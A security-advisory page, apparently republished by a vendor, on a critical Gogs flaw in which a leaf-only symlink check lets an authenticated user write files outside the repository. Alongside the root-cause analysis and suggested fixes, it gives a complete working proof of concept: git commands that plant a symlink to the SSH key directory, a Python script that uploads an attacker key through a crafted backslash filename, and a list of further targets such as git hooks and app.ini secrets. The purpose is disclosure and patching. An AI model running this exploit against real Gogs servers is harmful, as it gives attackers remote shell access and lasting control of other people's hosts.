HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate gogs.io/gogs to 0.14.3 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanGogs: UploadRepoFiles writes outside repo working tree via committed parent sym affects gogs.io/gogs (go). Severity is critical. Summary `(*Repository).UploadRepoFiles` checks for symlinks only on the **leaf** of the upload target (`osx.IsSymlink(targetPath)`). The siblings `UpdateRepoFile`, `DeleteRepoFile`, and `GetDiffPreview` use `hasSymlinkInPath`, which lstats every component — `UploadRepoFiles` is the lone outlier. An attacker with repo-write access plus a multipart upload whose filename contains a literal backslash (preserved by `filepath.Base` on Linux, then converted to `/` by `pathx.Clean`) redirects the write through a previously-committed directory symlink. `iox.CopyFile` opens the destination with `os.Create` (no `O_NOFOLLOW`), so the kernel follows the parent symlink and writes attacker bytes anywhere the gogs UID can write — `~git/.ssh/authorized_keys` → SSH foothold, or `<repo>.git/hooks/post-receive` → next-push RCE. Windows builds are unaffected: `filepath.Base` treats `\` as a separator (strips the multi-segment trick) and git defaults `core.symlinks=false` at checkout (committed mode-120000 entries become text files, not real symlinks). Details The asymmetric check at `internal/database/repo_editor.go:601-612`: ```go targetPath := path.Join(dirPath, upload.Name) if osx.IsSymlink(targetPath) { // ← LEAF-ONLY return errors.Newf("cannot overwrite symbolic link: %s", upload.Name) } if err = iox.CopyFile(tmpPath, targetPath); err != nil { ... } ``` vs. `UpdateRepoFile`'s correct walker at `internal/database/repo_editor.go:163`: ```go if hasSymlinkInPath(localPath, opts.OldTreeName) || hasSymlinkInPath(localPath, opts.NewTreeName) { return errors.New("cannot update file with symbolic link in path") } ``` `hasSymlinkInPath` (`internal/database/repo_editor.go:120-131`) lstats every component; `osx.IsSymlink` (`internal/osx/osx.go:35-41`) is `os.Lstat` mode-bit on the leaf — fine inside the loop, wrong as a single call. Multi-segment `upload.Name` reaches the loop because: (1) `c.Req.FormFile("file")` returns `*multipart.FileHeader` whose `Filename` is `filepath.Base(filename)` — Linux only treats `/` as separator, so backslashes are preserved; (2) `NewUpload` calls `pathx.Clean` (`internal/pathx/pathx.go:13-16`) which does `strings.ReplaceAll(p, "\\", "/")` — converting backslashes to forward slashes; (3) `upload.Name = "evil/foo"` is persisted and joined into `path.Join(dirPath, upload.Name)`. `iox.CopyFile` at `internal/iox/iox.go:24` uses `os.Create(dst)` = `OpenFile(dst, O_RDWR|O_CREATE|O_TRUNC, ...)` — no `O_NOFOLLOW`, kernel follows symlinks in path. Git's default `core.symlinks=true` on Linux materialises pushed mode-120000 trees as real symlinks at the next `UpdateLocalCopyBranch`. Suggested fix 1. Replace the leaf check at `repo_editor.go:606` with `hasSymlinkInPath(localPath, path.Join(opts.TreePath, upload.Name))` — the same primitive `UpdateRepoFile` already uses. 2. Walk `opts.TreePath` *before* the `os.MkdirAll(dirPath, ...)` at line 583 so that pre-existing symlinked components don't let `MkdirAll` create directories outside the repo. 3. Switch `iox.CopyFile`'s open to `O_WRONLY|O_CREATE|O_TRUNC|O_NOFOLLOW`, closing the lstat→write TOCTOU at the syscall layer. 4. In `database.NewUpload`, after `pathx.Clean`, refuse `name` containing `/` or `\` outright. Browsers strip path components from file inputs; only attacker tooling sends multi-segment values. PoC Tested against gogs HEAD `d7571322` on Ubuntu 24.04. Reproduces on `v0.14.2` (packages renamed `osx`↔`osutil`, `iox.CopyFile`↔`com.Copy`, identical logic). ### Reproduction prerequisites - gogs ≥ 0.14.0 on Linux/macOS (`runtime.GOOS != "windows"`). - Two attacker accounts on the gogs instance with write to a repo `attacker/playground` (repo creators are admins of their own repos). - `git` ≥ 2.x with `core.symlinks=true` (Linux/macOS default). - Python 3 stdlib only — `curl -F` does NOT trigger the bug because shell quoting + Go's RFC 2045 quoted-pair parsing both consume the backslash; we build the multipart body byte-exactly. ### Why curl alone is unreliable Bug needs *two* backslash bytes on the wire so Go's `mime.ParseMediaType` quoted-string rule (`\X` → `X`) yields a single `\` in the parsed filename, which `pathx.Clean` then turns into `/`. | Shell form | Wire bytes | Go parses to | upload.Name | Triggers? | |---|---|---|---|---| | `-F "...filename=a\b"` | `a\b` | `ab` | `ab` | no | | `-F "...filename=a\\b"` (double quotes) | `a\b` | `ab` | `ab` | no | | `-F '...filename=a\\b'` (single quotes) | `a\\b` | `a\b` | `a/b` | **yes** | The Python below removes the ambiguity. ### Step 1 — plant the directory symlink ```sh git clone https://attacker:[email protected]/attacker/playground cd playground ln -s /home/git/.ssh hijack git add hijack && git commit -m 'docs link' && git push origin main cd .. ``` Bare repo now contains a mode-120000 entry for `hijack`. Next `UpdateLocalCopyBranch` materialises `<conf.AppDataPath>/tmp/local-r/<repoID>/hijack → /home/git/.ssh`. ### Step 2 — upload + commit Save as `poc.py`: ```python #!/usr/bin/env python3 """PoC for gogs UploadRepoFiles parent-symlink → arbitrary file write.""" import http.client, ssl, json, re, urllib.parse from http.cookies import SimpleCookie GOGS_HOST = 'gogs.example' USERNAME = 'attacker' PASSWORD = 'attacker_password' REPO_OWNER = 'attacker' REPO_NAME = 'playground' BRANCH = 'main' PUBKEY = 'ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop\n' ctx = ssl.create_default_context() # set to None for plain HTTP / port 3000 def conn(): if ctx is None: return http.client.HTTPConnection(GOGS_HOST, 3000) return http.client.HTTPSConnection(GOGS_HOST, 443, context=ctx) cookies = {} def update_cookies(resp): for hdr in resp.msg.get_all('Set-Cookie') or []: for name, morsel in SimpleCookie(hdr).items(): cookies[name] = morsel.value def cookie_header(): return '; '.join(f'{k}={v}' for k, v in cookies.items()) def get_csrf(html): return re.search(r'name="_csrf"\s+(?:value|content)="([^"]+)"', html).group(1) # 1. GET /user/login → session cookie + CSRF c = conn(); c.request('GET', '/user/login') r = c.getresponse(); update_cookies(r) csrf_token = get_csrf(r.read().decode()) # 2. Submit credentials c = conn() c.request('POST', '/user/login', body=urllib.parse.urlencode({'_csrf': csrf_token, 'user_name': USERNAME, 'password': PASSWORD}), headers={'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token}) r = c.getresponse(); r.read(); update_cookies(r) assert r.status in (302, 303), f'login failed: {r.status}' # 3. Refresh CSRF for the logged-in session c = conn() c.request('GET', f'/{REPO_OWNER}/{REPO_NAME}', headers={'Cookie': cookie_header()}) r = c.getresponse(); html = r.read().decode(); update_cookies(r) csrf_token = get_csrf(html) # 4. Hand-built multipart with literal "\\" (two backslash bytes) in filename. # Wire form: filename="hijack\\authorized_keys" boundary = '----poc-' + 'x' * 16 filename_on_wire = r'hijack\\authorized_keys' # 23 chars, 2 of them backslashes body = ( f'--{boundary}\r\n' f'Content-Disposition: form-data; name="file"; filename="{filename_on_wire}"\r\n' f'Content-Type: text/plain\r\n\r\n{PUBKEY}\r\n--{boundary}--\r\n' ).encode() c = conn() c.request('POST', f'/{REPO_OWNER}/{REPO_NAME}/upload-file', body=body, headers={ 'Content-Type': f'multipart/form-data; boundary={boundary}', 'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token, }) r = c.getresponse(); upload_resp = r.read().decode() print('upload status:', r.status, 'body:', upload_resp) uuid = json.loads(upload_resp)['uuid'] # 5. Commit the uploaded file at the repo root. c = conn() c.request('POST', f'/{REPO_OWNER}/{REPO_NAME}/_upload/{BRANCH}/', body=urllib.parse.urlencode({ '_csrf': csrf_token, 'tree_path': '', 'commit_summary': 'docs link', 'commit_choice': 'direct', 'files': uuid, }), headers={'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token}) r = c.getresponse(); r.read() print('commit status:', r.status) ``` ```sh python3 poc.py # upload status: 200 body: {"uuid":"<UUID>"} # commit status: 302 ``` ### Step 3 — confirm and use the foothold ```sh sudo cat /home/git/.ssh/authorized_keys # operator's view # → ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop ssh -i ~/.ssh/id_ed25519 [email protected] # attacker's view # → shell as the gogs runtime UID ``` ### Server-side trace ``` multipart wire bytes: filename="hijack\\authorized_keys" mime.ParseMediaType → "hijack\authorized_keys" (quoted-pair: \\ → \) filepath.Base → "hijack\authorized_keys" (Linux: only / is a separator) pathx.Clean → "hijack/authorized_keys" (\\ → /, then path.Clean) UploadRepoFiles: targetPath = <local-r>/<repoID>/hijack/authorized_keys = /home/git/.ssh/authorized_keys (parent symlink resolved) osx.IsSymlink(targetPath) = false (leaf doesn't exist as a symlink) iox.CopyFile → os.Create → OpenFile WITHOUT O_NOFOLLOW (follows the parent symlink) ``` ### Other reachable targets (same primitive) | Symlink target | Effect on next event | |---|---| | `/home/git/.ssh` | SSH key implant → shell as gogs UID | | `<RepoRoot>/<owner>/<repo>.git/hooks` | Hook overwrite → arbitrary code on next push | | `<RepoRoot>/<owner>/<repo>.git` | `core.fsmonitor=<cmd>` in `config` → exec on next git op | | `~git/custom/conf` | Modify `app.ini` (`SCRIPT_TYPE`, `INSTALL_LOCK`, `SECRET_KEY`) on restart | | Path of the sqlite DB file | DoS or admin-row replant | ### Independent confirmation against the source ```sh git clone https://github.com/gogs/gogs.git && cd gogs git checkout d7571322 diff <(sed -n '160,170p' internal/database/repo_editor.go) \ <(sed -n '601,615p' internal/database/repo_editor.go) # Confirm: line 163 calls hasSymlinkInPath; line 606 calls osx.IsSymlink (leaf only) sed -n '13,16p' internal/pathx/pathx.go # Confirm: pathx.Clean does ReplaceAll("\\", "/") ``` Impact - **Authenticated RCE** as the gogs runtime UID from one repo write. Chain: plant symlink (one git push) → upload with crafted filename → commit → write to `~git/.ssh/authorized_keys` → ssh in. - Lateral targets: gogs sqlite DB (rewrite admin row), bare-repo hook scripts (run on next push by *any* user with `GOGS_AUTH_USER_*` env populated), `app.ini` `SECRET_KEY` (forges session cookies, decrypts stored 2FA secrets and mirror credentials). - Persistent: symlink and key both survive restart; removing the attacker's repo access does not undo the SSH foothold. - Linux/macOS only. Windows hosts are unaffected for two independent reasons (`filepath.Base` separator handling, git's `core.symlinks` default).
AI coding agents often install or upgrade packages automatically in go. A critical vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| gogs.io/gogsgo | <0.14.3 | 0.14.3 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard